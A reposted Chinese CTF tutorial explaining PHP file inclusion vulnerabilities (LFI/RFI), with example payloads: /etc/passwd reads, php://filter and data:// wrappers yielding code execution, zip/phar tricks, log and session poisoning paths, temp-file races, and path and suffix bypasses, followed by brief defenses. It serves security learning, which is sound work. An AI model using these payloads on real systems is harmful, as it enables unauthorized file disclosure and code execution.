我的编程空间,编程开发者的网络收藏夹
学习永远不晚

ctf攻防渗透-文件包含-文件包含漏洞详解

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

ctf攻防渗透-文件包含-文件包含漏洞详解

文件包含概念
程序开发人员会把重复使用的函数、变量、类等数据写到单个文件中,需要使用到里面的数据时直接调用此文件,而无需再次编写,这种文件调用的过程称为文件包含。

文件包含相关函数
require( )//找不到被包含文件时产生错误,停止脚本运行include( )//找不到被包含文件时产生警告,脚本继续运行
include_once() //与include类似,唯一区别就是文件已经被包含则不再包含
require_once() //与require类似,唯一区别就是文件已经被包含则不再包含

文件包含漏洞介绍
程序开发人员希望代码更灵活,所以将被包含文件设置成变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。
根据包含文件的不同,我们将文件包含漏洞划分为两类:1.本地文件包含LFI (Local File lnclude)
⒉远程文件包含RFL (Remote File Include)

文件包含漏洞危害:
1、如果网站支持上传,上传任意后缀文件,被包含的文件中含有PHP代码,则可以造成命令执行。
2、直接包含系统内其他文件,因为文件包含本质就是将包含文件内容用php执行一遍,所以不是有效代码的部分就会直接输入,这样我们便可以得到系统中的文件。
例:?file=/etc/passwd
3、除了使用路径的方式,文件包含也支持使用协议,我们可以使用file://协议读取文件。
例:?file=file:/ll/etc/passwd

PHP伪协议利⽤:
5.1、php://input:
php://input可以获取POST的数据流,当它与包含函数结合时,php://input流会被当作php⽂件执
⾏,从⽽导致任意代码执⾏。
利⽤条件
allow_url_include=On
allow_url_fopen=Off/On
5.2、php://filter:
php://filter可以获取指定⽂件源码,当它与包含函数结合时,php://filter流会被当作php⽂件执⾏。
所以我们⼀般对其进⾏编码,让其不执⾏,从⽽导致任意⽂件读取。
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
php://filter包含下列参数:
resource=<待过滤数据流> 必选,指定你要筛选过的的数据流
read=<读链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
write=<写链筛选列表> 可选,⼀个或多个过滤器名称,以管道符分割
过滤器我们分为 1. 转换过滤器 2. 字符串过滤器 3. 压缩过滤器 4. 加密过滤器

2.1、转换过滤器:
convert.* 过滤器是php5.0.0以后添加的

  1. base64
    我们可以使⽤ convert.base64-encode 或 convert.base64-decode 来进⾏base64编码或解码。
    这样我们直接包含php⽂件时,php代码部分会执⾏,我们⽆法得到源码,⽽使⽤此过滤器则可以
    将代码先进性base64编码,我们得到之后再进⾏base64解码,这样就能得到源码了。
  2. quoted-printable
    使⽤ convert.quoted-printable-encode 或 convert.quoted.printable-decode 来进
    ⾏ quoted-printable 编码或解码,⽤法和base64类似。

2.2、字符串过滤器:
string.* 模块⽤来处理各个字符串的。

  1. rot13
    使⽤ string.rot13 来对字符串内容进⾏ rot13 编码
  2. toupper
    使⽤ string.toupper 来将字符串内容变⼤写
  3. tolower
    使⽤ string.tolower 来将字符串内容变⼩写
  4. strip_tags
    使⽤ string.strip_tags 将字符串中的空字符,HTML和PHP标记去除。

示例
php://filter/read=convert.base64-encode/resource=flag.php

3、zip://:
zip://可以访问压缩包⾥⾯的⽂件,当它与包含函数结合时,zip://流会被当作php⽂件执⾏,从⽽
实现任意代码执⾏。
只需要是zip的压缩即可,后缀名可以任意更改
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
示例
zip://C:\tmp\1.jpg#phpinfo.txt

4、phar://:
类似zip://,同样可以导致任意代码执⾏。
phar://中使⽤相对路径和绝对路径都可以
利⽤条件
allow_url_include=Off/On
allow_url_fopen=Off/On
示例
phar://phar.jpg/phpinfo.txt

5、data://:
data://同样类似php://input,可以让⽤户来控制输⼊流,当它与包含⽂件结合时,⽤户输⼊的
data://流会被当作php⽂件执⾏,从⽽导致任意代码执⾏。
利⽤条件
allow_url_include=On
allow_url_fopen=On
PHP version >= 5.2
示例
data://,
data://text/plain,
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

包含⽇志⽂件:
WEB服务器会讲用户的访问记录保存在访问日志中,那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

HTTP log
web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log。
·利用条件
知道服务器日志存储路径,且日志可读
apache访问日志默认路径
/var/log/apache2/access.log
apache错误日志默认路径
/var/log/apache2/error.log

SSH log
利用条件
知道ssh log位置,且日志可读,默认在/var/log/auth.log

包含session文件
·利用条件
session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path中看到

以及⼀些默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session⽂件的⽂件名格式为 sess[phpsessid] ,⽽ phpsessid 在发送的请求头cookie字段中可以看到。

临时文件包含
php在上传文件时,会创建临时文件,在linux下使用/tmp目录,在 windows下使用C:\windows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

攻击服务器
利用 string.strip-tags 使得php服务器崩溃

绕过:
指定前缀:
当发现文件包含代码为
include( '/tmp/ '.$file);
时,指定了文件所在的前缀,这时候我们可以利用…/进行目录穿越,例如我们想包含网站目录下的flag.php 文件,则可以
include( '/tmp/. ./var/www/ html/flag. php ’ );

指定后缀:
·在RFI中中,可以使用query或fragment来绕过后缀限制例如包含
include($file.'test.php ’ );
我们可以包含
include( ‘http://xx×/flag.php?test.php’ );
include ( 'http://x××/flag.php#test.php ’ ) ;

·在LFI中,可以使用伪协议来进行构造,例如我们上传一个包含了a/test/test.php 的内容,然后包含
include( 'zip:///test.zip#test.php ’ );
include( 'phar: / /test.phar/test.php ’ ) ;

防御:
配置 open_basedir
管理⽂件夹权限
对危险字符进⾏过滤

来源地址:https://blog.csdn.net/redglare/article/details/127456686

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

ctf攻防渗透-文件包含-文件包含漏洞详解

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录